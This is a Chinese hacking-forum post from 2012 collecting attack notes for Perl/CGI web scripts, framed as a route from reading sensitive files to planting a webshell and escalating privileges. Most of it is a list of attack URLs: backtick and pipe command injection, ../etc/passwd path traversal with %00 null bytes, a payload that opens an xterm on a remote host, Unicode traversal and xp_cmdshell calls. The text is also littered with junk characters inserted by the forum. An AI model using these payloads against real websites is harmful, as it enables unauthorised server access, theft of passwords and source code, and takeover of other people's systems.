找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2887|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  
( W: P$ m+ O- u. Scookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  ) }1 \8 p8 q7 x( l$ t# ]
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  
8 n! `9 Q1 N# ^1 ?9 X注“  
( }: o" N1 i' cperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  , s6 S9 y. F& T' ^* Z: n
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  $ t$ c% y0 }# I, f
5 e) j. O- l3 t9 Q& G2 ^# ^# L) }( f% \0 X
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造  ( Z  K2 m4 L+ b& o7 s& Z+ L
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  
% s& n9 p# y9 F: v6 m. l$ {http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  
. g; o, C8 z6 s: d* A) dhttp://target.com/cgi-bin/home/news/sub.pl?`id`  
( I+ [& C1 t! a; U) r/ qhttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  4 F0 y" O5 d. {* E! k6 l
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  / B; n* E+ I" w0 q

3 u) C9 z; a9 X5 ], i- c/ b; Vhttp://target.com/test.pl;ls|  . h6 M/ ?, F% t0 ]
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  ; A* g/ x) u% U3 i: W6 ]8 X
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  
) L' L& g; F1 l% fhttp://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  & N! x' w+ _, c$ q
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  / }# R) O  w" K6 H$ c1 f
http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  5 y$ A; m) E% s7 s) T7 e; s4 z
* y1 ?1 K0 W5 B2 ^  ?
http://target.com/test.pl?&........ /../../etc/passwd    y3 I# I2 k8 x) u1 Z+ G/ S; O
$ Y6 c7 d+ L% ]" \
http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  
% t, I) _  T4 ~9 G( Z* |http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  
% F0 l% `  E/ v6 q6 [* Yhttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  
. S2 B- R9 [  I  m* O( M) f' `: e
http://www.target.org/show.php?f ... /include/config.php 查看php代码  % o8 @  u$ f/ y+ h" A
http://www.target.org/show.php?f ... ng/admin/global.php  
2 D$ d8 |9 w8 K  K' C- b. K3 l/ u: B" X
emm和ps的一句话
: d; T. E( `* I. c+ `
. A. n) [" g: }+ ~+ ~2 Chttp://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  ' A3 D; U8 v+ @$ A
# W  Q* K9 R  e
>bbb%20|  + {7 b. P4 U9 @0 \! o
. j; E" ~+ c, g/ @
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  9 D4 z4 @3 b; T0 V. Q  B2 o. R

  r( y- ]/ L8 H0 n: Zhttp://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  
8 D9 p+ }8 q6 bhttp://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  " X% y- [# @8 N6 O9 e. S

: L4 c/ o8 S9 |" q( P. [相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  
& R5 [9 J; ?- K2 j$ Qhttp://target.com/index.html#cmd.exe  ! u( a8 ?+ N# J/ E" k5 @
http://target.com/index.html?dummyparam=xp_cmdshell  
8 ~- ?  E- o: K) }5 z4 clynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  * X: P1 S- o: w$ }0 Y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表